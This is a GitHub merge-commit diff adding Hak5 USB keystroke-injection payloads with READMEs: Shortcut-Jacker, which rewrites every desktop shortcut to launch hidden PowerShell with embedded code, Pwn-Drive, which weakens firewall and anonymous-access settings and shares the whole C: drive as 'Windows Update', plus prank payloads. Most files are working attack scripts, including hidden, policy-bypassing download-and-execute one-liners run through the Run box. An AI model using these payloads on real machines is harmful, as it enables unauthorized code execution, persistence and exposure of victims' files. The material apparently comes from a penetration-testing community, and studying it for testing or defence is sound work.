Merge branch 'hak5:master' into master
0iphor13
GitHub
commit
a67650031f
|
|
@ -0,0 +1,144 @@
|
|||
|
||||
|
||||
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||
|
||||
<h1 align="center">
|
||||
<a href="https://git.io/typing-svg">
|
||||
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Shortcut+Jacker!+😈¢er=true&size=30">
|
||||
</a>
|
||||
</h1>
|
||||
|
||||
<!-- TABLE OF CONTENTS -->
|
||||
<details>
|
||||
<summary>Table of Contents</summary>
|
||||
<ol>
|
||||
<li><a href="#Description">Description</a></li>
|
||||
<li><a href="#getting-started">Getting Started</a></li>
|
||||
<li><a href="#Contributing">Contributing</a></li>
|
||||
<li><a href="#Version-History">Version History</a></li>
|
||||
<li><a href="#Contact">Contact</a></li>
|
||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||
</ol>
|
||||
</details>
|
||||
|
||||
# Shortcut Jacker
|
||||
|
||||
<p align="left">
|
||||
<a href="https://www.youtube.com/watch?v=sOLIdqpzrW4">
|
||||
<img src=https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/SCJ-TV2.png width="300" alt="Python" />
|
||||
</a>
|
||||
<br>YouTube Tutorial
|
||||
</p>
|
||||
|
||||
A script used to embed malware in the shortcut on your targets desktop
|
||||
|
||||
## Description
|
||||
|
||||
This payload will run a powershell script in the background of any shortcut used on the targets desktop
|
||||
|
||||
This is done by taking advantage of the ```Target``` field where powershell commands can be stored or run.
|
||||
|
||||
This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the ```$code``` variable and it will still run.
|
||||
|
||||
So if your command exceeds that consider using an IWR function to download and execute a longer script.
|
||||
|
||||
I have an Invoke WebRequest tutorial for that [HERE](https://www.youtube.com/watch?v=bPkBzyEnr-w&list=PL3NRVyAumvmppdfMFMUzMug9Cn_MtF6ub&index=13)
|
||||
|
||||
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/properties.jpg" width="300">
|
||||
|
||||
Inside the .ps1 file you will find a line at the beginning with a ```$code``` variable. This is where the powershell code you want executed is stored.
|
||||
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/code.jpg" width="900">
|
||||
|
||||
---------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Using the ```Get-Shortcut``` function we will get the following information we can then use to maintain the integrity of the appearance of the shortcut after manipulating the ```Target``` field.
|
||||
|
||||
<img src="https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/shortcut.jpg" width="900">
|
||||
|
||||
## Getting Started
|
||||
|
||||
Once the script is executed all of the shortcuts on your target's desktop will be infected with the powershell code you have stored in the `$code` variable in the .ps1 file
|
||||
|
||||
### Dependencies
|
||||
|
||||
* An internet connection
|
||||
* Windows 10,11
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload
|
||||
```
|
||||
powershell -w h -NoP -NonI -Exec Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||
```
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Contributing
|
||||
|
||||
All contributors names will be listed here
|
||||
|
||||
I am Jakoby
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Version History
|
||||
|
||||
* 0.1
|
||||
* Initial Release
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- CONTACT -->
|
||||
## Contact
|
||||
|
||||
<h2 align="center">📱 My Socials 📱</h2>
|
||||
<div align=center>
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center" width="96">
|
||||
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||
</a>
|
||||
<br>YouTube
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://twitter.com/I_Am_Jakoby">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||
</a>
|
||||
<br>Twitter
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||
</a>
|
||||
<br>Instagram
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://discord.gg/MYYER2ZcJF">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||
</a>
|
||||
<br>Discord
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- ACKNOWLEDGMENTS -->
|
||||
## Acknowledgments
|
||||
|
||||
* [Hak5](https://hak5.org/)
|
||||
* [MG](https://github.com/OMG-MG)
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
|
||||
</p>
|
||||
|
|
@ -0,0 +1,118 @@
|
|||
############################################################################################################################################################
|
||||
# | ___ _ _ _ # ,d88b.d88b #
|
||||
# Title : Shortcut-Jacker | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||
# Category : Execution | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||
# # / \ / ~ \ #
|
||||
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||
############################################################################################################################################################
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
This is payload used to inject powershell code into shortcuts
|
||||
|
||||
.DESCRIPTION
|
||||
This payload will gather information on the shortcuts on your targets desktop
|
||||
That data will then be manipulated to embed a powershell script
|
||||
This script will be ran in the background when the short cut is
|
||||
|
||||
#>
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
<#
|
||||
.NOTES
|
||||
The powershell code stored in this variable is what will run in the background
|
||||
This field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the $code
|
||||
variable and it will still run.
|
||||
#>
|
||||
|
||||
$code = "Add-Type -AssemblyName PresentationCore,PresentationFramework; [System.Windows.MessageBox]::Show('Hacked')"
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
function Get-Shortcut {
|
||||
param(
|
||||
$path = $null
|
||||
)
|
||||
|
||||
$obj = New-Object -ComObject WScript.Shell
|
||||
|
||||
if ($path -eq $null) {
|
||||
$pathUser = [System.Environment]::GetFolderPath('StartMenu')
|
||||
$pathCommon = $obj.SpecialFolders.Item('AllUsersStartMenu')
|
||||
$path = dir $pathUser, $pathCommon -Filter *.lnk -Recurse
|
||||
}
|
||||
if ($path -is [string]) {
|
||||
$path = dir $path -Filter *.lnk
|
||||
}
|
||||
$path | ForEach-Object {
|
||||
if ($_ -is [string]) {
|
||||
$_ = dir $_ -Filter *.lnk
|
||||
}
|
||||
if ($_) {
|
||||
$link = $obj.CreateShortcut($_.FullName)
|
||||
|
||||
$info = @{}
|
||||
$info.Hotkey = $link.Hotkey
|
||||
$info.TargetPath = $link.TargetPath
|
||||
$info.LinkPath = $link.FullName
|
||||
$info.Arguments = $link.Arguments
|
||||
$info.Target = try {Split-Path $info.TargetPath -Leaf } catch { 'n/a'}
|
||||
$info.Link = try { Split-Path $info.LinkPath -Leaf } catch { 'n/a'}
|
||||
$info.WindowStyle = $link.WindowStyle
|
||||
$info.IconLocation = $link.IconLocation
|
||||
|
||||
return $info
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------
|
||||
|
||||
function Set-Shortcut {
|
||||
param(
|
||||
[Parameter(ValueFromPipelineByPropertyName=$true)]
|
||||
$LinkPath,
|
||||
$IconLocation,
|
||||
$Arguments,
|
||||
$TargetPath
|
||||
)
|
||||
begin {
|
||||
$shell = New-Object -ComObject WScript.Shell
|
||||
}
|
||||
|
||||
process {
|
||||
$link = $shell.CreateShortcut($LinkPath)
|
||||
|
||||
$PSCmdlet.MyInvocation.BoundParameters.GetEnumerator() |
|
||||
Where-Object { $_.key -ne 'LinkPath' } |
|
||||
ForEach-Object { $link.$($_.key) = $_.value }
|
||||
$link.Save()
|
||||
}
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------
|
||||
|
||||
function hijack{
|
||||
$Link = $i.LinkPath
|
||||
$Loc = $i.IconLocation
|
||||
$TargetPath = $i.TargetPath
|
||||
if($Loc.length -lt 4){$Loc = "$TargetPath$Loc"}
|
||||
$Target = $i.Target
|
||||
if(Test-Path -Path "$Link" -PathType Leaf){Set-Shortcut -LinkPath "$Link" -IconLocation "$Loc" -Arguments "-w h -NoP -NonI -Exec Bypass start-process '$TargetPath';$code" -TargetPath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"}
|
||||
}
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------
|
||||
|
||||
Get-ChildItem –Path "$Env:USERPROFILE\Desktop" -Filter *.lnk |Foreach-Object {$i = Get-Shortcut $_.FullName;hijack $_.FullName}
|
||||
|
|
@ -0,0 +1,20 @@
|
|||
REM Title: Shortcut-Jacker
|
||||
|
||||
REM Author: I am Jakoby
|
||||
|
||||
REM Description: This payload will run a powershell script in the background of any shortcut used on the targets desktop
|
||||
|
||||
REM Target: Windows 10, 11
|
||||
|
||||
GET SWITCH_POSITION
|
||||
|
||||
ATTACKMODE HID STORAGE
|
||||
|
||||
LED STAGE1
|
||||
|
||||
QUACK DELAY 3000
|
||||
QUACK GUI r
|
||||
QUACK DELAY 100
|
||||
LED STAGE2
|
||||
QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Shortcut-Jacker.ps1')"
|
||||
QUACK ENTER
|
||||
|
|
@ -0,0 +1,107 @@
|
|||
<img src="https://github.com/atomiczsec/My-Payloads/blob/main/Assets/lock.png" width="200">
|
||||
|
||||
<h1 align="center">
|
||||
<a href="https://git.io/typing-svg">
|
||||
<img src="https://readme-typing-svg.herokuapp.com/?lines=Pwn+Drive!+😈¢er=true&size=30">
|
||||
</a>
|
||||
</h1>
|
||||
|
||||
<!-- TABLE OF CONTENTS -->
|
||||
<details>
|
||||
<summary>Table of Contents</summary>
|
||||
<ol>
|
||||
<li><a href="#Description">Description</a></li>
|
||||
<li><a href="#getting-started">Getting Started</a></li>
|
||||
<li><a href="#Contributing">Contributing</a></li>
|
||||
<li><a href="#Version-History">Version History</a></li>
|
||||
<li><a href="#Contact">Contact</a></li>
|
||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||
</ol>
|
||||
</details>
|
||||
|
||||
# Pwn-Drive
|
||||
|
||||
A payload to share the victims "C:" drive to the network.
|
||||
|
||||
## Description
|
||||
|
||||
This payload will share the entire victims "C:" drive to the entire network for further exploitation.
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Dependencies
|
||||
|
||||
* DropBox or other file sharing service - Your Shared link for the intended file
|
||||
* Windows 10
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||
```
|
||||
powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl
|
||||
```
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Contributing
|
||||
|
||||
All contributors names will be listed here
|
||||
|
||||
atomiczsec
|
||||
I am Jakoby
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Version History
|
||||
|
||||
* 0.1
|
||||
* Initial Release
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- CONTACT -->
|
||||
## Contact
|
||||
|
||||
<h2 align="center">📱 My Socials 📱</h2>
|
||||
<div align=center>
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center" width="96">
|
||||
<a href="https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||
</a>
|
||||
<br>YouTube
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://twitter.com/atomiczsec">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||
</a>
|
||||
<br>Twitter
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://discord.gg/MYYER2ZcJF">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||
</a>
|
||||
<br>I-Am-Jakoby's Discord
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
|
||||
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- ACKNOWLEDGMENTS -->
|
||||
## Acknowledgments
|
||||
|
||||
* [Hak5](https://hak5.org/)
|
||||
* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
#Pwn-Drive
|
||||
|
||||
#Enable Network Discovery
|
||||
netsh advfirewall firewall set rule group=”network discovery” new enable=yes
|
||||
|
||||
#Enable File and Print
|
||||
netsh firewall set service type=fileandprint mode=enable profile=all
|
||||
|
||||
#Setting Registry Values for allowing access to drive without credentials
|
||||
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name everyoneincludesanonymous -Value 1 -Force
|
||||
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters\" -Name restrictnullsessacces -Value 0 -Force
|
||||
|
||||
#Sharing the Drive
|
||||
New-SmbShare -Name "Windows Update" -Path "C:\"
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
REM Title: Pwn-Drive
|
||||
|
||||
REM Author: atomiczsec
|
||||
|
||||
REM Description: This payload will share the entire victims "C:" drive to the entire network for further exploitation.
|
||||
|
||||
REM Target: Windows 10
|
||||
|
||||
DELAY 2000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
|
||||
ENTER
|
||||
|
||||
REM Remember to replace the link with your DropBox shared link for the intended file to download
|
||||
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1
|
||||
|
|
@ -0,0 +1,115 @@
|
|||
|
||||
|
||||
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||
|
||||
<h1 align="center">
|
||||
<a href="https://git.io/typing-svg">
|
||||
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Adv+RickRoll!+😈¢er=true&size=30">
|
||||
</a>
|
||||
</h1>
|
||||
|
||||
<!-- TABLE OF CONTENTS -->
|
||||
<details>
|
||||
<summary>Table of Contents</summary>
|
||||
<ol>
|
||||
<li><a href="#Description">Description</a></li>
|
||||
<li><a href="#getting-started">Getting Started</a></li>
|
||||
<li><a href="#Contributing">Contributing</a></li>
|
||||
<li><a href="#Version-History">Version History</a></li>
|
||||
<li><a href="#Contact">Contact</a></li>
|
||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||
</ol>
|
||||
</details>
|
||||
|
||||
# ADV-RickRoll
|
||||
|
||||
A script used to do an advanced rick roll on your target
|
||||
|
||||
## Description
|
||||
|
||||
This program rick rolls your target without opening a muted youtube video
|
||||
A rick roll video is downloaded and played in your powershell console
|
||||
when a mouse movement is detected
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Dependencies
|
||||
|
||||
* An internet connection
|
||||
* Windows 10,11
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload
|
||||
```
|
||||
powershell -w h -NoP -NonI -Exec Bypass $U='https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/Assets/rr.zip';$Z="$env:TMP"+'\rr.zip';$D="$env:TMP"+'\rr';iwr -Uri $U -O $Z;Expand-Archive $Z -DestinationPath $D\ -Force;powershell $D\rr.ps1
|
||||
```
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Contributing
|
||||
|
||||
All contributors names will be listed here
|
||||
|
||||
I am Jakoby
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Version History
|
||||
|
||||
* 0.1
|
||||
* Initial Release
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- CONTACT -->
|
||||
## Contact
|
||||
|
||||
<h2 align="center">📱 My Socials 📱</h2>
|
||||
<div align=center>
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center" width="96">
|
||||
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||
</a>
|
||||
<br>YouTube
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://twitter.com/I_Am_Jakoby">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||
</a>
|
||||
<br>Twitter
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||
</a>
|
||||
<br>Instagram
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://discord.gg/MYYER2ZcJF">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||
</a>
|
||||
<br>Discord
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- ACKNOWLEDGMENTS -->
|
||||
## Acknowledgments
|
||||
|
||||
* [Hak5](https://hak5.org/)
|
||||
* [MG](https://github.com/OMG-MG)
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
|
||||
</p>
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
* Title: ADV-RickRoll
|
||||
|
||||
* Author: I am Jakoby
|
||||
|
||||
* Description: This is a one liner payload that will Rick Roll your target. Video will be played a full screen and max volume.
|
||||
* Upon deployment payload will pause until a mouse movement is detected and run once one is.
|
||||
|
||||
* Target: Windows 10, 11
|
||||
|
||||
* --------------------------------------------------------------------------------------
|
||||
* THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
||||
* --------------------------------------------------------------------------------------
|
||||
|
||||
DELAY 2000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w h -NoP -NonI -Exec Bypass $U='https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/Assets/rr.zip';$Z="$env:TMP"+'\rr.zip';$D="$env:TMP"+'\rr';iwr -Uri $U -O $Z;Expand-Archive $Z -DestinationPath $D\ -Force;powershell $D\rr.ps1
|
||||
ENTER
|
||||
|
|
@ -0,0 +1,116 @@
|
|||
|
||||
|
||||
<img src="https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif" width="50">
|
||||
|
||||
<h1 align="center">
|
||||
<a href="https://git.io/typing-svg">
|
||||
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to;YouTube+Tripwire!+😈¢er=true&size=30">
|
||||
</a>
|
||||
</h1>
|
||||
|
||||
<!-- TABLE OF CONTENTS -->
|
||||
<details>
|
||||
<summary>Table of Contents</summary>
|
||||
<ol>
|
||||
<li><a href="#Description">Description</a></li>
|
||||
<li><a href="#getting-started">Getting Started</a></li>
|
||||
<li><a href="#Contributing">Contributing</a></li>
|
||||
<li><a href="#Version-History">Version History</a></li>
|
||||
<li><a href="#Contact">Contact</a></li>
|
||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||
</ol>
|
||||
</details>
|
||||
|
||||
# YouTube Tripwire
|
||||
|
||||
Plays any YouTube video after a mouse movement is detected
|
||||
|
||||
## Description
|
||||
|
||||
This script is a one liner that can fit in the runbox by itself
|
||||
Just replace the URL for the Youtube video and run it
|
||||
You can now unplug your device and walk away
|
||||
When your target returns and moves their mouse the video will start playing full screen
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Dependencies
|
||||
|
||||
* An internet connection
|
||||
* Windows 10,11
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
* Walk away
|
||||
* You can run the example snippet below and it will open up a video covering one of my other payloads
|
||||
```
|
||||
powershell -w h Add-Type -AssemblyName *m.W*s.F*s;$w=[Windows.Forms.Cursor];$p=$w::Position.X;while(1){if($w::Position.X-ne$p){break}else{Sleep 3}};saps https://youtu.be/sOLIdqpzrW4;sleep 3;$o=New-Object -ComObject WScript.Shell;$o.SendKeys('f')
|
||||
```
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Contributing
|
||||
|
||||
All contributors names will be listed here
|
||||
|
||||
I am Jakoby
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Version History
|
||||
|
||||
* 0.1
|
||||
* Initial Release
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- CONTACT -->
|
||||
## Contact
|
||||
|
||||
<h2 align="center">📱 My Socials 📱</h2>
|
||||
<div align=center>
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center" width="96">
|
||||
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||
</a>
|
||||
<br>YouTube
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://twitter.com/I_Am_Jakoby">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||
</a>
|
||||
<br>Twitter
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||
</a>
|
||||
<br>Instagram
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://discord.gg/MYYER2ZcJF">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||
</a>
|
||||
<br>Discord
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- ACKNOWLEDGMENTS -->
|
||||
## Acknowledgments
|
||||
|
||||
* [Hak5](https://hak5.org/)
|
||||
* [MG](https://github.com/OMG-MG)
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg" alt="Github Stats" />
|
||||
</p>
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
REM Title: YouTube-TripWire
|
||||
|
||||
REM Author: I am Jakoby
|
||||
|
||||
REM Description: Plays any YouTube video after a mouse movement is detected
|
||||
|
||||
REM Target: Windows 10, 11
|
||||
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||
ENTER
|
||||
|
||||
REM Remember to replace the link with your DropBox shared link for the intended file to download
|
||||
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||
|
|
@ -0,0 +1,108 @@
|
|||
<img src="https://github.com/atomiczsec/My-Payloads/blob/main/Assets/WannaCry.png" width="200">
|
||||
|
||||
<h1 align="center">
|
||||
<a href="https://git.io/typing-svg">
|
||||
<img src="https://readme-typing-svg.herokuapp.com/?lines=RanFunWare!+😈¢er=true&size=30">
|
||||
</a>
|
||||
</h1>
|
||||
|
||||
<!-- TABLE OF CONTENTS -->
|
||||
<details>
|
||||
<summary>Table of Contents</summary>
|
||||
<ol>
|
||||
<li><a href="#Description">Description</a></li>
|
||||
<li><a href="#getting-started">Getting Started</a></li>
|
||||
<li><a href="#Contributing">Contributing</a></li>
|
||||
<li><a href="#Version-History">Version History</a></li>
|
||||
<li><a href="#Contact">Contact</a></li>
|
||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||
</ol>
|
||||
</details>
|
||||
|
||||
# RanFunWare
|
||||
|
||||
A payload to prank your friends into thinking their computer got hit with ransomware.
|
||||
|
||||
## Description
|
||||
|
||||
This payload will hide all desktop icons, change the background, and have a message pop up (Fully Customizable)
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Dependencies
|
||||
|
||||
* DropBox or other file sharing service - Your Shared link for the intended file
|
||||
* Windows 10
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||
```
|
||||
powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl
|
||||
```
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Contributing
|
||||
|
||||
All contributors names will be listed here
|
||||
|
||||
atomiczsec
|
||||
|
||||
I am Jakoby
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Version History
|
||||
|
||||
* 0.1
|
||||
* Initial Release
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- CONTACT -->
|
||||
## Contact
|
||||
|
||||
<h2 align="center">📱 My Socials 📱</h2>
|
||||
<div align=center>
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center" width="96">
|
||||
<a href="https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||
</a>
|
||||
<br>YouTube
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://twitter.com/atomiczsec">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||
</a>
|
||||
<br>Twitter
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://discord.gg/MYYER2ZcJF">
|
||||
